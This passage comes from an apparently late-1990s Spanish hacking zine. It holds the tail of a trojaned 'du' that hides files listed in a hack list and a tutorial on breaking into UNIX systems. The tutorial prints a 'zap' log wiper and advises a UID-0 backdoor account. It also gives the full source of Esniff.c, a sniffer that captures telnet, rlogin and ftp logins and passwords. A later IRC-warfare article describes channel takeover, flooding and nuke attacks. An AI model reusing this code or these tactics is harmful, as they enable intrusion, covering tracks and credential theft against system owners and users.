fork(); if (pid == -1) { fprintf(stderr, "No more processes.\n"); exit(1); } if (pid != 0) wait((int *)0); } if (argc == 1 || pid == 0) { (void) strcpy(path, *argv); (void) strcpy(name, *argv); if (np = rindex(name, '/')) { *np++ = '\0'; if (chdir(*name ? name : "/") < 0) { perror(*name ? name : "/"); exit(1); } } else np = path; blocks = descend(path, *np ? np : "."); if (sflg) printf("%ld\t%s\n", kb(blocks), path); if (argc > 1) exit(1); } argc--, argv++; } while (argc > 0); exit(0); /* NOTREACHED */ } DIR *dirp = NULL; long descend(base, name) /* Cool tree spanning idea */ char *base, *name; { char *ebase0, *ebase; struct stat stb; int i; long blocks = 0; long curoff = NULL; register struct direct *dp; /*+ * This will be very lagged if you include alot of files * because strstr() is such an expensive call. However, * the nature of this procedure requires it, and breaking * the pathname down would be just as expensive. Note, * that correct disk usage sizes will be reported based * upon files that are not masked. +*/ if (!showall) for (h_tmp=hack_list; h_tmp->next; h_tmp=h_tmp->next) if (strstr(base, h_tmp->filename)) return 0; ebase0 = ebase = index(base, 0); if (ebase > base && ebase[-1] == '/') ebase--; if (lstat(name, &stb) < 0) { perror(base); *ebase0 = 0; return (0); } if (stb.st_nlink > 1 && (stb.st_mode&S_IFMT) != S_IFDIR) { for (i = 0; i <= mlx; i++) if (ml[i].ino == stb.st_ino && ml[i].dev == stb.st_dev) return (0); if (mlx < ML) { ml[mlx].dev = stb.st_dev; ml[mlx].ino = stb.st_ino; mlx++; } } blocks = stb.st_blocks; if ((stb.st_mode&S_IFMT) != S_IFDIR) { if (aflg) printf("%ld\t%s\n", kb(blocks), base); return (blocks); } if (dirp != NULL) closedir(dirp); dirp = opendir(name); if (dirp == NULL) { perror(base); *ebase0 = 0; return (0); } if (chdir(name) < 0) { perror(base); *ebase0 = 0; closedir(dirp); dirp = NULL; return (0); } while (dp = readdir(dirp)) { if (!strcmp(dp->d_name, ".") || !strcmp(dp->d_name, "..")) continue; (void) sprintf(ebase, "/%s", dp->d_name); curoff = telldir(dirp); blocks += descend(base, ebase+1); *ebase = 0; if (dirp == NULL) { dirp = opendir("."); if (dirp == NULL) { perror("."); return (0); } seekdir(dirp, curoff); } } closedir(dirp); dirp = NULL; if (sflg == 0) printf("%ld\t%s\n", kb(blocks), base); if (chdir("..") < 0) { (void) sprintf(index(base, 0), "/.."); perror(base); exit(1); } *ebase0 = 0; return (blocks); } <---------------------------------------FINAL--------------------------------> Igual que hay este hay un monton para cada sistema, para el ftp, para telnet etc... Despues de buscar, o bien el vuestro HD, o bien en las paginas web se supone que tendreis los necesarios para ser root. Un consejo, si no funciona ninguno de los que teneis no useis los que son para otros sistemas o versiones, vamos, que no hagais cosas a lo loco, por que lo unico que haceis es dejar mas huellas en el sistema. Esta es la parte mas dificil de todas, asi que espero que sepais solucionarla. Una vez que ya somos root podemos hacer lo que queramos en ese sistema, pero no debemos olvidarnos de borrar nuestras huellas. Los unix tienen varios logs que guardan casi todo lo que hacemos en el sistema : * UTMP: Este fichero guarda un registro de todos los usuarios que se han conectado a ese sistema Directorios: /etc/utmp o /var/adm/utmp * WTMP: Este es nuestro peor enemigo. Guarda los numeros IP de todos los que se han conectado al ordenador. Directorios: /etc/wtmp o /var/adm/wtmp * LASTLOG: Este log guarda un registro del momento exacto en que un usuario entro por última vez Directorio: /var/adm/lastlog * ACCT: Este log guarda los comandos que hemos ejecutado pero SOLO los comandos no con que fin los hemos utilizado, pero suele estar desactivado por la gran cantidad de memoria que necesita. ( Logico no? ) Directorio: /var/adm/acct ( en algunos sistemas se puede llamar pacct ) Ademas de esto puede haber otros programas que registren tu entrada, como el TCP-Wrapper o similares( Tened cuidado con el Syslog que viene con el ssoo que guarda los logs en los ficheros especificados en /etc/syslog.conf ) De todas maneras os recomiendo que hackeeis a horas que el root no pueda ver vuestro numero IP con "who" o "users" porque os pillara. De la misma manera, la primera vez que accedeis al sistema con una cuenta hackeada, haced muchas cosas que haria un usuario normal ( telnet, ftp, echar una partida al tetris ) para que si el root os investiga "levemente" no se de cuenta de lo que habeis hecho. Aqui incluyo el codigo de el "zap" que, como su nombre indica es un zapper, o sea un programa que borra nuestras huellas el solito. Se compila como los exploits, pero cambia su ejecucion : % zap <nombredeusuario> <---------------------------------CORTAD AQUI--------------------------------> #include <sys/types.h> #include <stdio.h> #include <unistd.h> #include <sys/file.h> #include <fcntl.h> #include <utmp.h> #include <pwd.h> #include <lastlog.h> #define WTMP_NAME "/usr/adm/wtmp" #define UTMP_NAME "/etc/utmp" #define LASTLOG_NAME "/usr/adm/lastlog" int f; void kill_utmp(who) char *who; { struct utmp utmp_ent; int flag=0; if ((f=open(UTMP_NAME,O_RDWR))>=0) { while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 ) if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof( utmp_ent )); lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); write (f, &utmp_ent, sizeof (utmp_ent)); flag++; } close(f); if(!flag) printf("Unsuccessful.\n"); } } main(argc,argv) int argc; char *argv[]; { char me[30]; int i; struct passwd *myentry; if (argc==1) { myentry=getpwuid(getuid()); strcpy(me,myentry->pw_name); } else strcpy(me,argv[1]); printf("ZAPing %s.\n",me); kill_utmp(me); } <-----------------------------------FINAL------------------------------------> Asi la ultima entrada del usuario queda borrada del sistema. Si lo ejecutamos demasiadas veces, pondr nombredeusuario Never Logged In , osea es como si ese usuario nunca se hubiera conectado al sistema. Ya tenemos las huellas borradas, pero si queremos mantener esos privilegios que hacemos? La manera mas facil es añadir una cuenta al /etc/passwd con el comando "adduser" con numero de usuario 0 y numero de grupo 0 que son privilegios de root. NoTa: que nadie se le ocurra borrar todas las cuentas del fichero passwd menos una que solo el conozca, por que, aunque nadie podria acceder al sistema una persona con acceso fisico podria detectarnos, y como poco borrar nuestra cuenta asi cerrandonos el acceso al sistema, siendo en vano todo lo que habiamos hecho. Sin embargo si por casualidad al sysop en cuestión se le ocurre revisar las cuentas del fichero passwd la cagamos. Aunque es dificil, por que tendria que revisar las cuentas 1 por 1 y es muy posible que se no se de cuenta, pero los hay maniaticos.... Despues de hacer todo esto : -Tenemos una cuenta con privilegios de root -Hemos borrado nuestras huellas ¿ Que nos queda ? Pues practicamente nada, salvo colocar un sniffer, programa que nos facilitara logins y passwords de ordenadores a los que se conecte la gente de "nuestro" sistema. El problema de los sniffers es que hay uno para cada sistema, pero si encontramos uno para el nuestro ( cosa que no seria muy rara ) no est de mas ponerlo para futuros "trabajos". Aqui incluyo el codigo de uno que quizas os sirva, es el codigo original, y hay que añadirle alguna cosa asi que leed lo un poco por las lineas que empiezan por /* Este sniffer deberia funcionar en casi todos los *NIX : <----------------------------------CORTAD AQUI-------------------------------> /* Esniff.c */ #include <stdio.h> #include <ctype.h> #include <string.h> #include <sys/time.h> #include <sys/file.h> #include <sys/stropts.h> #include <sys/signal.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <net/if.h> #include <net/nit_if.h> #include <net/nit_buf.h> #include <net/if_arp.h> #include <netinet/in.h> #include <netinet/if_ether.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/udp.h> #include <netinet/ip_var.h> #include <netinet/udp_var.h> #include <netinet/in_systm.h> #include <netinet/tcp.h> #include <netinet/ip_icmp.h> #include <netdb.h> #include <arpa/inet.h> #define ERR stderr char *malloc(); char *device, *ProgName, *LogName; FILE *LOG; int debug=0; #define NIT_DEV "/dev/nit" #define CHUNKSIZE 4096 /* device buffer size */ int if_fd = -1; int Packet[CHUNKSIZE+32]; void Pexit(err,msg) int err; char *msg; { perror(msg); exit(err); } void Zexit(err,msg) int err; char *msg; { fprintf(ERR,msg); exit(err); } #define IP ((struct ip *)Packet) #define IP_OFFSET (0x1FFF) #define SZETH (sizeof(struct ether_header)) #define IPLEN (ntohs(ip->ip_len)) #define IPHLEN (ip->ip_hl) #define TCPOFF (tcph->th_off) #define IPS (ip->ip_src) #define IPD (ip->ip_dst) #define TCPS (tcph->th_sport) #define TCPD (tcph->th_dport) #define IPeq(s,t) ((s).s_addr == (t).s_addr) #define TCPFL(FLAGS) (tcph->th_flags & (FLAGS)) #define MAXBUFLEN (128) time_t LastTIME = 0; struct CREC { struct CREC *Next, *Last; time_t Time; /* start time */ struct in_addr SRCip, DSTip; u_int SRCport, /* src/dst ports */ DSTport; u_char Data[MAXBUFLEN+2]; /* important stuff :-) */ u_int Length; /* current data length */ u_int PKcnt; /* # pkts */ u_long LASTseq; }; struct CREC *CLroot = NULL; char *Symaddr(ip) register struct in_addr ip; { register struct hostent *he = gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET); return( (he)?(he->h_name):(inet_ntoa(ip)) ); } char *TCPflags(flgs) register u_char flgs; { static char iobuf[8]; #define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-') SFL(0,TH_FIN, 'F'); SFL(1,TH_SYN, 'S'); SFL(2,TH_RST, 'R'); SFL(3,TH_PUSH,'P'); SFL(4,TH_ACK, 'A'); SFL(5,TH_URG, 'U'); iobuf[6]=0; return(iobuf); } char *SERVp(port) register u_int port; { static char buf[10]; register char *p; switch(port) { case IPPORT_LOGINSERVER: p="rlogin"; break; case IPPORT_TELNET: p="telnet"; break; case IPPORT_SMTP: p="smtp"; break; case IPPORT_FTP: p="ftp"; break; default: sprintf(buf,"%u",port); p=buf; break; } return(p); } char *Ptm(t) register time_t *t; { register char *p = ctime(t); p[strlen(p)-6]=0; /* strip " YYYY\n" */ return(p); } char *NOWtm() { time_t tm; time(&tm); return( Ptm(&tm) ); } #define MAX(a,b) (((a)>(b))?(a):(b)) #define MIN(a,b) (((a)<(b))?(a):(b)) /* add an item */ #define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \ register struct CREC *CLtmp = \ (struct CREC *)malloc(sizeof(struct CREC)); \ time( &(CLtmp->Time) ); \ CLtmp->SRCip.s_addr = SIP.s_addr; \ CLtmp->DSTip.s_addr = DIP.s_addr; \ CLtmp->SRCport = SPORT; \ CLtmp->DSTport = DPORT; \ CLtmp->Length = MIN(LEN,MAXBUFLEN); \ bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \ CLtmp->PKcnt = 1; \ CLtmp->Next = CLroot; \ CLtmp->Last = NULL; \ CLroot = CLtmp; \ } register struct CREC *GET_NODE(Sip,SP,Dip,DP) register struct in_addr Sip,Dip; register u_int SP,DP; { register struct CREC *CLr = CLroot; while(CLr != NULL) { if( (CLr->SRCport == SP) && (CLr->DSTport == DP) && IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) ) break; CLr = CLr->Next; } return(CLr); } #define ADDDATA_NODE(CL,DATA,LEN) { \ bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \ CL->Length += LEN; \ } #define PR_DATA(dp,ln) { \ register u_char lastc=0; \ while(ln-- >0) { \ if(*dp < 32) { \ switch(*dp) { \ case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \ break; \ case '\r': \ case '\n': fprintf(LOG,"\n : "); \ break; \ default : fprintf(LOG,"^%c", (*dp + 64)); \ break; \ } \ } else { \ if(isprint(*dp)) fputc(*dp,LOG); \ else fprintf(LOG,"(%d)",*dp); \ } \ lastc = *dp++; \ } \ fflush(LOG); \ } void END_NODE(CLe,d,dl,msg) register struct CREC *CLe; register u_char *d; register int dl; register char *msg; { fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time)); fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport)); fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport)); fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n", NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg); fprintf(LOG," DATA: "); { register u_int i = CLe->Length; register u_char *p = CLe->Data; PR_DATA(p,i); PR_DATA(d,dl); } fprintf(LOG,"\n-- \n"); fflush(LOG); if(CLe->Next != NULL) CLe->Next->Last = CLe->Last; if(CLe->Last != NULL) CLe->Last->Next = CLe->Next; else CLroot = CLe->Next; free(CLe); } /* 30 mins (x 60 seconds) */ #define IDLE_TIMEOUT 1800 #define IDLE_NODE() { \ time_t tm; \ time(&tm); \ if(LastTIME<tm) { \ register struct CREC *CLe,*CLt = CLroot; \ LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \ while(CLe=CLt) { \ CLt=CLe->Next; \ if(CLe->Time <tm) \ END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \ } \ } \ } void filter(cp, pktlen) register char *cp; register u_int pktlen; { register struct ip *ip; register struct tcphdr *tcph; { register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type); if(EtherType < 0x600) { EtherType = *(u_short *)(cp + SZETH + 6); cp+=8; pktlen-=8; } if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */ return; } /* ugh, gotta do an alignment :-( */ bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH)); ip = (struct ip *)Packet; if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */ return; tcph = (struct tcphdr *)(Packet + IPHLEN); if(!( (TCPD == IPPORT_TELNET) || (TCPD == IPPORT_LOGINSERVER) || (TCPD == IPPORT_FTP) )) return; { register struct CREC *CLm; register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4)); register u_char *p = (u_char *)Packet; p += ((IPHLEN * 4) + (TCPOFF * 4)); if(debug) { fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length); fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS)); fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD)); } if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) { CLm->PKcnt++; if(length>0) if( (CLm->Length + length) < MAXBUFLEN ) { ADDDATA_NODE( CLm, p,length); } else { END_NODE( CLm, p,length, "DATA LIMIT"); } if(TCPFL(TH_FIN|TH_RST)) { END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" ); } } else { if(TCPFL(TH_SYN)) { ADD_NODE(IPS,IPD,TCPS,TCPD,p,length); } } IDLE_NODE(); } } /* signal handler */ void death() { register struct CREC *CLe; while(CLe=CLroot) END_NODE( CLe, (u_char *)NULL,0, "SIGNAL"); fprintf(LOG,"\nLog ended at => %s\n",NOWtm()); fflush(LOG); if(LOG != stdout) fclose(LOG); exit(1); } /* opens network interface, performs ioctls and reads from it, * passing data to filter function */ void do_it() { int cc; char *buf; u_short sp_ts_len; if(!(buf=malloc(CHUNKSIZE))) Pexit(1,"Eth: malloc"); /* this /dev/nit initialization code pinched from etherfind */ { struct strioctl si; struct ifreq ifr; struct timeval timeout; u_int chunksize = CHUNKSIZE; u_long if_flags = NI_PROMISC; if((if_fd = open(NIT_DEV, O_RDONLY)) < 0) Pexit(1,"Eth: nit open"); if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0) Pexit(1,"Eth: ioctl (I_SRDOPT)"); si.ic_timout = INFTIM; if(ioctl(if_fd, I_PUSH, "nbuf") < 0) Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")"); timeout.tv_sec = 1; timeout.tv_usec = 0; si.ic_cmd = NIOCSTIME; si.ic_len = sizeof(timeout); si.ic_dp = (char *)&timeout; if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)"); si.ic_cmd = NIOCSCHUNK; si.ic_len = sizeof(chunksize); si.ic_dp = (char *)&chunksize; if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)"); strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name)); ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0'; si.ic_cmd = NIOCBIND; si.ic_len = sizeof(ifr); si.ic_dp = (char *)&ifr; if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)"); si.ic_cmd = NIOCSFLAGS; si.ic_len = sizeof(if_flags); si.ic_dp = (char *)&if_flags; if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)"); if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0) Pexit(1,"Eth: ioctl (I_FLUSH)"); } while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) { register char *bp = buf, *bufstop = (buf + cc); while (bp < bufstop) { register char *cp = bp; register struct nit_bufhdr *hdrp; hdrp = (struct nit_bufhdr *)cp; cp += sizeof(struct nit_bufhdr); bp += hdrp->nhb_totlen; filter(cp, (u_long)hdrp->nhb_msglen); } } Pexit((-1),"Eth: read"); } /* Authorize your proogie,generate your own password and uncomment here */ /* #define AUTHPASSWD "EloiZgZejWyms" */ void getauth() { char *buf,*getpass(),*crypt(); char pwd[21],prmpt[81]; strcpy(pwd,AUTHPASSWD); sprintf(prmpt,"(%s)UP? ",ProgName); buf=getpass(prmpt); if(strcmp(pwd,crypt(buf,pwd))) exit(1); } */ void main(argc, argv) int argc; char **argv; { char cbuf[BUFSIZ]; struct ifconf ifc; int s, ac=1, backg=0; ProgName=argv[0]; /* getauth(); */ LOG=NULL; device=NULL; while((ac<argc) && (argv[ac][0] == '-')) { register char ch = argv[ac++][1]; switch(toupper(ch)) { case 'I': device=argv[ac++]; break; case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a"))) Zexit(1,"Output file cant be opened\n"); break; case 'B': backg=1; break; case 'D': debug=1; break; default : fprintf(ERR, "Usage: %s [-b] [-d] [-i interface] [-f file]\n", ProgName); exit(1); } } if(!device) { if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0) Pexit(1,"Eth: socket"); ifc.ifc_len = sizeof(cbuf); ifc.ifc_buf = cbuf; if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0) Pexit(1,"Eth: ioctl"); close(s); device = ifc.ifc_req->ifr_name; } fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV); fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout", (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n"); if(!LOG) LOG=stdout; signal(SIGINT, death); signal(SIGTERM,death); signal(SIGKILL,death); signal(SIGQUIT,death); if(backg && debug) { fprintf(ERR,"[Cannot bg with debug on]\n"); backg=0; } if(backg) { register int s; if((s=fork())>0) { fprintf(ERR,"[pid %d]\n",s); exit(0); } else if(s<0) Pexit(1,"fork"); if( (s=open("/dev/tty",O_RDWR))>0 ) { ioctl(s,TIOCNOTTY,(char *)NULL); close(s); } } fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid()); fflush(LOG); do_it(); } <----------------------------------FINAL------------------------------------> Bueno, ya hemos terminado espero que os haya servido de ayuda este texto, y hayais comprendido como hackear un UNIX. ///////////////////////////////////////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ 5. TACTICAS DE GUERRA EN EL IRC POR:RoMaN SoFt / LLFB (30/7/97) ______________________________________________________________________________________________ 0.- Contenido. 1.- Introducci≤n. 2.- Principios. 2.1.- C≤mo funciona una red IRC. 2.2.- Conseguir op sin que nadie te lo de. 2.3.- Otras formas de conseguir op. 2.4.- Bot de servicio. 3.- Ataques. 3.1.- Flood. 3.2.- Nick collide. 3.2.1.- Split server collide. 3.2.2.- Lag collide. 3.3.- Nuke. 3.3.1.- ICMP nuke. 3.3.2.- OOB nuke. 3.4.- Ping. 3.5.- Ssping. 4.- Spoofing. 5.- Resources. 6.- Agradecimientos. 7.- Notas finales. 1.- Introducci≤n. Ultimamente la guerra en el IRC es, por desgracia, algo bastante com·n. Conviene, a lo menos, estar informado de las distintas tΘcnicas que se suelen usar para "luchar", aunque sea simplemente para detectar que te estßn atacando y saber c≤mo lo estßn haciendo. No es mi intenci≤n profundizar demasiado en el tema aunque intentarΘ detallar algunos puntos que considere convenientes. Todo lo que aquφ se hable es extensible en general a cualquier red IRC. No obstante en algunos casos muy particulares me referirΘ a la red IRC hispana ("*.irc-hispano.org"). Ni que decir tiene que la informaci≤n que se proporciona aquφ es con fines educativos; en ning·n caso debe ser usada salvo en circunstancias excepcionalmente justificadas. Un uso abusivo puede significar una k/g-line totalmente merecida. Yo no me hago responsable de un posible mal uso de esta info. 2.- Principios. Muchas veces el objetivo de un ataque no es otra cosa que hacerse con un canal ("tomarlo"). Esto es relativamente fßcil y hay diversas tΘcnicas para ello. El objetivo es hacerse con el op en el canal. Los medios: tu inteligencia y astucia... ;-) 2.1.- C≤mo funciona una red IRC.- El servidor de IRC propiamente dicho no es mßs que un programa corriendo en background (un daemon) en una mßquina determinada (en Unix correrφa el "ircd"). Los usuarios se conectan a dicha mßquina y acceden al servidor en forma de clientes. Una red IRC se compone de varios servidores corriendo en paralelo y enlazados entre ellos, deforma que se mantegan comunicados (puedan intercambiar mensajes entre ellos). Cuando un usuario se conecta a un servidor determinado, Θste (el servidor) lo notifica a los demßs servidores que forman parte de la red IRC. Igualmente, cualquier otra acci≤n es notificada a todos los servidores,de forma que Θstos actuan como una unidad. De esta forma el usuario se deja ver en todos los servidores aunque fφsicamente s≤lo estΘ conectado a uno. Esto permite tener muchos usuarios repartidos por diferentes servidores pero que virtualmente es como si estuvieran todos en uno s≤lo. La estructura de la red IRC es en forma de ßrbol (es decir, no puede haber bucles, o "caminos cerrados": partiendo de un nodo no se llegue por ning·n camino otra vez a dicho nodo) aunque un tanto especial: cada nodo se ve a sφ mismo como el nodo raiz de la red. En la "literatura" esto se conoce como "spanning tree". Un ejemplo de red podrφa ser: [ Server 15 ] [ Server 13 ] [ Server 14] / \ / / \ / [ Server 11 ] ------ [ Server 1 ] [ Server 12] / \ / / \ / [ Server 2 ] [ Server 3 ] / \ \ / \ \ [ Server 4 ] [ Server 5 ] [ Server 6 ] / | \ / / | \ / / | \____ / / | \ / [ Server 7 ] [ Server 8 ] [ Server 9 ] [ Server 10 ] : [ etc. ] : Cuando se rompe uno de los eslabones (links) que unen 2 servidores el conjunto se divide en 2 subconjuntos, los cuales intentarßn seguir funcionando normalmente aunque de forma aislada. Esto es, cada subconjunto permanece operativo y mantiene la comunicaci≤n entre los servers pertenecientes a dicho subconjunto. Pero por razones obvias los servidores de un subconjunto no ven a los del otro y viceversa. Esta situaci≤n se conoce como net-split. En una sesi≤n normal de IRC esto lo verφamos: [1:23] *** Case_Zer0 has quit IRC (fuego.irc-hispano.org io.irc-hispano.org) Esto indica que se han spliteado los dos servidores indicados entre parΘntesis y que a consecuencia de ello el usuario Case_Zer0 [ hi Case ;-) ] ha salido "de nuestra red IRC" (lo que estß ocurriendo es que se encuentra en el otro subconjunto de servidores: a todos los efectos es que como si se encontrase ya en otra red IRC). Cuando el enlace caido se recupera (i.e. se reestablece la comunicaci≤n entre los servers spliteados) se habla de net-merge. Esto se verφa en la sesi≤n anterior como un "join" por parte del usuario que estaba en el servidor spliteado (tanto el quit como el join anteriores son mecanismos del propio IRC, es decir, el usuario anterior no dio ninguna orden de quit ni de join, es transparente a dicho usuario). Hay programas que detectan y avisan cuando se produce alg·n net-split o net-merge: son los denominados "link-lookers", y su utilidad es bastante obvia. Por ejemplo, si el enlace dibujado en rojo (enlace server 2 <-> server 5) cayera, el servidor 5 estarφa aislado de la red. Los usuarios de dicho servidor dejarφan de ver a todos los demßs pertenecientes a servidores distintos, y al contrario. Se dice que el servidor 5 estß spliteado. Es fßcil reconocer a un servidor en esta situaci≤n: si entras en una red a travΘs de un determinado servidor y te encuentras a muy poca gente es muy normal que se deba a que estß spliteado de la red. Otra posibilidad es que el enlace azul (3 <-> 12) cayera. En este caso el servidor 12 se splitea de la red, pero tambiΘn lo hacen los servidores 13 y 14 indirectamente, por conectarse a travΘs del primero. Para una informaci≤n completa del funcionamiento y estructura de una red IRC, y del protocolo subyacente ("Internet Relay Chat Protocol") os remito al RFC1459. 2.2.- Conseguir op sin que nadie te lo de.- Cuando alguien se une a un canal donde no hay nadie (hace un /join #canal) el servidor supone que se trata de un nuevo canal y le da op a dicho usuario. Se dice que ha creado un canal. Vamos a aprovechar esto para hacernos con el op en un canal ya existente. ┐C≤mo? Fßcil: solo hay que aprovechar un net-split. Los pasos serφan los siguientes: - Esperar un split (lo podemos detectar con un link-looker). - Entrar (conectar) al servidor spliteado. - /join #canal (donde canal es el canal donde queremos conseguir op). - El server crearß un nuevo canal y tendrßs el op. - Esperar a que se deshaga el split. Si "hay suerte" (leer mßs abajo), al deshacerse el split conservaremos el op en los restantes servidores (el servidor spliteado se encarga de dar las ≤rdenes correspondientes). Entonces se dice que hemos llevado a cabo un "net-hack". Los usuarios presentes en el canal en el que hemos llevado a cabo la acci≤n verßn algo como: [1:41] *** irc.i3d.es sets mode: +o RoMaNSoFt (donde el servidor que nos da op es el que antes estaba spliteado). Esto no siempre funcionarß porque hay aspectos que todavφa no he comentado. Paso a explicar el procedimiento y comentar algunos puntos negros. Supongo que habrΘis comprendido el procedimiento; es muy simple: aprovechar que el servidor spliteado no ve a los usuarios de otros servidores y por tanto al canal previamente creado. Esto presupone que no hay usuarios del servidor spliteado en el canal (en este caso no funcionarφa) porque en este caso al entrar nosotros por el server spliteado verφamos al canal como ya creado, con los usuarios de nuestro mismo servidor (a los otros los "esconde" el split) y por tanto el server no nos darß el op, como es habitual al entrar en cualquier canal ya existente. TambiΘn hay que tener en cuenta que actualmente todos los servidores tienen protecciones anti-nethack. En este caso, al deshacerse el split, los restantes servidores te quitarßn el op a tφ en vez de ser al contrario (imponer tu op en los restantes servers), protegiendo al canal PERO Θsto lo harßn ·nicamente en caso de que ya hubiera ops en el canal antes de tu intento de net-hack (aunque hay veces en que el server se equivoca y mantiene tu op, quitßndoselo a los demßs). Es decir, que el net-hack funcionarß s≤lo para canales donde no haya op ("opless channels"). Por esta raz≤n, si queremos el op, necesitaremos tirar previamente a los ops (echarlos del canal, de forma que pierdan su op) para luego llevar a cabo el net-hack. ┐C≤mo tirarlos? De esto nos encargaremos mßs adelante, sigue leyendo };-) 2.3.- Otras formas de conseguir op.- La otra alternativa para conseguir el op es que alguien te lo de ;-) . Puede ser un op del canal o un irc-op de la red, aunque para esto ·ltimo tendrßs que dar una justificaci≤n convincente (como por ejemplo que os acaban de tomar el canal, alguien os ha atacado, Θtc). Para la primera alternativa entra en juego tu "don de la palabra": trata de hacerte amigo de alg·n op para que Θste te lo pase. En ese momento ya estßs capacitado para quitarle el op a todos los demßs ("mass-deop") y quedarte con el canal. Esto lo hacen automßticamente muchos scripts ("automatic-deop"): nada mßs darte el op el script automßticamente deopea a todos los ops (excepto a tφ, claro). 2.4.- Bot de servicio.- Se trata de un "usuario" muy especial... un robot que se encarga entre otras cosas de proteger los canales. En la red hispana se llama Scytale (en CobraNet, por ejemplo, es KingCobra) y estß dentro de muchos canales (registrados). Normalmente suele tener op, con lo cual el canal deja de ser opless y se evita el net-hack :-( Suele tener ircop-status [channel-service status] y ademßs tiene otras funciones en las que no pienso entrar. Resumiendo: si hay bot, nuestro gozo a un pozo. 3.- Ataques. En esta secci≤n entraremos en materia... }:-) Nuestro objetivo: tirar a alguien del server irc. 3.1.- Flood.- Los servidores IRC tienen que controlar el trßfico de entrada (el que proviene del exterior) para evitar su congesti≤n. Una de las formas de conseguirlo es no permitir que un cliente le mande mßs de una determinada cantidad de informaci≤n en un peque±o intervalo de tiempo; o lo que es lo mismo: la velocidad con que un cliente puede enviar datos al servidor estß limitada. Cuando un cliente supera el lφmite preestablecido por el servidor, Θste cierra la conexi≤n con el cliente: lo echa del servidor porque no puede soportar tanto caudal de entrada. El servidor lo "explica" asφ: [1:59] *** _^TkLaS^_ has quit IRC (Excess Flood) Un flood, en general, no es otra cosa que mandar mucha informaci≤n en poco tiempo a alguien para intentar que se sature. Se puede floodear una direcci≤n IP, ..., o lo que ahora nos concierne: un servidor de IRC. La manera de aprovechar el flood en nuestro favor consiste en mandar muchas peticiones de informaci≤n a nuestra vφctima, de forma que Θsta, al contestar, supere el lφmite del servidor y Θste lo eche. Por ejemplo, si le mandamos muchos /ctcp version's seguidos (requiriendo informaci≤n sobre el programa cliente que estß utilizando) la vφctima floodearß al servidor cuando conteste porque mandarß muchas veces (tantas como peticiones haya habido) el texto de respuesta al servidor (para que del servidor vaya al cliente que peticion≤, i.e., al atacante). En esto del flood juega un papel muy importante el n·mero de peticiones que se reciben en un peque±o intervalo de tiempo. Cuantas mßs se reciban, mßs posibilidades hay de que el flood tenga Θxito. Por ello no es ninguna tonterφa mandar peticiones desde varios puntos a la vez, y no desde uno s≤lo, es decir, varios usuarios (íque podrφan ser una misma persona!) de la red IRC manden peticiones a la vφctima todos a la vez en un determinado momento. Si los usuarios (nicks) corresponden a una misma persona (una misma direcci≤n IP) se habla de clones. Por tanto, una posible forma de ataque serφa crearnos muchos clones y peticionar a la vez desde todos ellos a la vφctima. Pero los servidores tambiΘn suelen estar preparados para evitar muchos clones (cada clone ocupa,por decirlo de alguna manera, una "linea" de entrada al servidor, y esto consume recursos del mismo). Suele haber un mßximo permitido (en el irc hispano es 2) denegßndosele el acceso a la red a un tercer clone, o en caso de que Θste lo consiguiese expulsßndosele del servidor ("matßndolo") (el programa servidor revisa peri≤dicamente las IP's conectadas y detecta cuando hay varios usuarios con una misma direcci≤n IP): [1:32] *** _^Virus^_ has quit IRC (Killed (Clones!)) ┐C≤mo provocar un flood con mßs de 